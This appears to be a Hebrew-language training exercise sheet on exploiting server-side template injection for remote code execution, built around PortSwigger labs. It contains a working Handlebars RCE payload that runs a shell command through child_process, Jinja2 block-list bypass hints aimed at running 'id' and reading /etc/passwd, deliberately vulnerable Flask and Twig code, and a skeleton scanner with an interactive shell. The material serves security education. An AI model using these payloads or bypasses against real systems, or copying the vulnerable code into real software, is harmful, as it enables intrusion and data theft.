SSTI ל-RCE - תרגיל¶
תרגיל 1 - זיהוי מנוע Template¶
משימה¶
השלימו את המעבדה:
Basic server-side template injection
https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic
שלבים מנחים¶
- מצאו פרמטר שמקבל קלט ומוצג בדף
- הזינו
${7*7}ובדקו אם מקבלים 49 - זהו את מנוע ה-Template (רמז: ERB)
- הריצו פקודה:
תרגיל 2 - ניצול Jinja2¶
משימה¶
Server-side template injection using documentation
https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation
שלבים מנחים¶
- מצאו את נקודת ה-SSTI
- זהו שזה Freemarker (Java)
- השתמשו ב-Execute class:
תרגיל 3 - SSTI בהקשר של קוד¶
משימה¶
Server-side template injection in an unknown language with a documented exploit
https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit
שלבים מנחים¶
- נסו payloads שונים לזיהוי המנוע
- זהו שזה Handlebars (Node.js)
- חפשו exploit מתועד ל-Handlebars SSTI
- השתמשו ב-payload המתאים:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
תרגיל 4 - SSTI עם מידע חלקי¶
משימה¶
Server-side template injection with information disclosure via user-supplied objects
https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-information-disclosure-via-user-supplied-objects
שלבים מנחים¶
- מצאו SSTI בפונקציית ה-template editing
- זהו את מנוע ה-Template
- השתמשו באובייקטים זמינים בסביבת ה-Template כדי לחלץ את ה-Secret Key:
תרגיל 5 - עקיפת Sandbox¶
משימה¶
Server-side template injection in a sandboxed environment
https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-a-sandboxed-environment
שלבים מנחים¶
- מצאו SSTI
- גלו שיש sandbox שמונע הרצת קוד ישירה
- מצאו דרך לעקוף את ה-sandbox
- קראו את הקובץ הנדרש
תרגיל 6 - בניית שרשרת Jinja2 מותאמת¶
רקע¶
נתונה האפליקציה הבאה עם הגבלות:
from flask import Flask, request, render_template_string
app = Flask(__name__)
BLOCKED = ['__', 'class', 'mro', 'subclasses', 'import',
'os', 'system', 'popen', 'eval', 'exec',
'lipsum', 'cycler', 'joiner', 'config']
@app.route('/greet')
def greet():
name = request.args.get('name', 'World')
for blocked in BLOCKED:
if blocked in name.lower():
return "Blocked!", 403
return render_template_string(f"Hello {name}!")
משימות¶
- נתחו אילו מילים חסומות
- מצאו דרך לעקוף את הפילטר:
- שימוש ב-hex encoding (
\x5f\x5fבמקום__) - שימוש בשרשור מחרוזות (
'__cl'+'ass__') - שימוש ב-
request.argsלהעברת ערכים -
שימוש ב-
attrfilter -
בנו payload שמריץ
idעל השרת - בנו payload שקורא את
/etc/passwd
רמזים¶
{# שימוש ב-request.args לעקיפת פילטר #}
{{ request|attr(request.args.a)|attr(request.args.b) }}
{# עם URL: /greet?name=PAYLOAD&a=__class__&b=__mro__ #}
{# שימוש ב-hex encoding #}
{{ ''|attr('\x5f\x5fcl\x61ss\x5f\x5f') }}
{# שימוש ב-string concatenation #}
{% set a = '__cla' %}{% set b = 'ss__' %}{{ ''|attr(a~b) }}
תרגיל 7 - SSTI ב-Twig¶
משימה¶
בנו סביבת תרגול:
<?php
require_once 'vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([]);
$twig = new \Twig\Environment($loader);
$name = $_GET['name'] ?? 'World';
$template = $twig->createTemplate("Hello " . $name . "!");
echo $template->render([]);
?>
משימות¶
- הריצו את הקוד עם PHP ו-Twig
- בדקו SSTI עם
{{7*7}} - נסו payloads שונים:
- השיגו RCE וקראו את
/etc/passwd - תקנו את הקוד כך שלא יהיה פגיע
תרגיל 8 - כלי אוטומטי¶
משימה¶
שפרו את סקריפט הזיהוי מההרצאה:
#!/usr/bin/env python3
"""
Advanced SSTI Scanner and Exploiter
"""
class SSTIScanner:
DETECTION_PAYLOADS = {
'jinja2': [
('{{7*7}}', '49'),
("{{7*'7'}}", '7777777'),
],
'twig': [
('{{7*7}}', '49'),
("{{7*'7'}}", '49'),
],
'freemarker': [
('${7*7}', '49'),
('#{7*7}', '49'),
],
'erb': [
('<%= 7*7 %>', '49'),
],
'pug': [
('#{7*7}', '49'),
],
}
RCE_PAYLOADS = {
'jinja2': [
# TODO: הוסיפו לפחות 5 שרשראות שונות
],
'twig': [
# TODO: הוסיפו לפחות 3 שרשראות שונות
],
'freemarker': [
# TODO: הוסיפו לפחות 2 שרשראות שונות
],
}
def __init__(self, url, param):
self.url = url
self.param = param
def detect(self):
"""זיהוי מנוע template"""
# TODO
pass
def exploit(self, command):
"""ניצול לפי מנוע מזוהה"""
# TODO
pass
def interactive_shell(self):
"""מעטפת אינטראקטיבית"""
engine = self.detect()
if not engine:
print("[-] No SSTI detected")
return
print(f"[+] Engine: {engine}")
print("[*] Interactive shell (type 'exit' to quit)")
while True:
cmd = input(f"({engine})$ ")
if cmd.lower() == 'exit':
break
result = self.exploit(cmd)
if result:
print(result)
דרישות¶
- זיהוי של לפחות 5 מנועי template
- לפחות 3 שרשראות RCE לכל מנוע
- מצב אינטראקטיבי (pseudo-shell)
- תמיכה בשיטות POST ו-GET
- ניסיון אוטומטי של מספר שרשראות עד שאחת עובדת
- תמיכה בהעברת cookie לאימות
תרגיל בונוס - מעבדה משולבת¶
תרחיש¶
מצאתם אפליקציית Flask שמאפשרת למשתמשים ליצור הודעות ברכה מותאמות. האפליקציה מסננת חלק מהקלט.
משימות¶
- מצאו את נקודת ה-SSTI
- זהו אילו מילים/תווים חסומים
- בנו payload שעוקף את כל ההגבלות
- השיגו RCE
- קראו את הדגל מ-
/flag.txt
סביבות תרגול¶
- PortSwigger: כל מעבדות SSTI (כולל Expert)
- HackTheBox: מכונות עם תגית SSTI
- TryHackMe: "SSTI" room
- PentesterLab: SSTI challenges
- CTF challenges: חפשו SSTI ב-CTFtime.org